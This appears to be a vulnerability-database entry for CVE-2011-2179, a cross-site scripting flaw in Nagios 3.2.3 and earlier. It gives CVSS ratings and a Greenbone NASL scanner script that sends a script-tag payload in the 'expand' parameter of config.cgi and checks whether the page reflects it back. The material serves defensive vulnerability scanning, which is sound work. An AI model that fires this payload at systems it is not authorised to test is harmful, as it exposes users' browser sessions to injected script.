CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
90.6%
Nagios is prone to a cross-site scripting (XSS) vulnerability.
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:nagios:nagios";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.801894");
script_version("2023-07-28T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
script_tag(name:"creation_date", value:"2011-06-07 13:29:28 +0200 (Tue, 07 Jun 2011)");
script_cve_id("CVE-2011-2179");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_name("Nagios 'expand' Parameter Cross-Site Scripting Vulnerability");
script_xref(name:"URL", value:"http://tracker.nagios.org/view.php?id=224");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/518221");
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2011/Jun/22");
script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/101899/SSCHADV2011-006.txt");
script_tag(name:"qod_type", value:"remote_analysis");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("nagios_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("nagios/installed");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in the context of an affected site.");
script_tag(name:"affected", value:"Nagios versions 3.2.3 and prior.");
script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
passed via the 'expand' parameter in cgi-bin/config.cgi, which allows attackers
to execute arbitrary HTML and script code on the web server.");
script_tag(name:"solution", value:"Upgrade to Nagios version 3.3.1 or later.");
script_tag(name:"summary", value:"Nagios is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if (!port = get_app_port(cpe:CPE))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
url = dir + "/cgi-bin/config.cgi?type=command&expand=<script>" +
"alert(String.fromCharCode(88,83,83))</script>";
if (http_vuln_check(port:port, url:url, check_header: TRUE,
pattern:"><script>alert\(String.fromCharCode\(88,83,83\)\)</script>")) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
exit(99);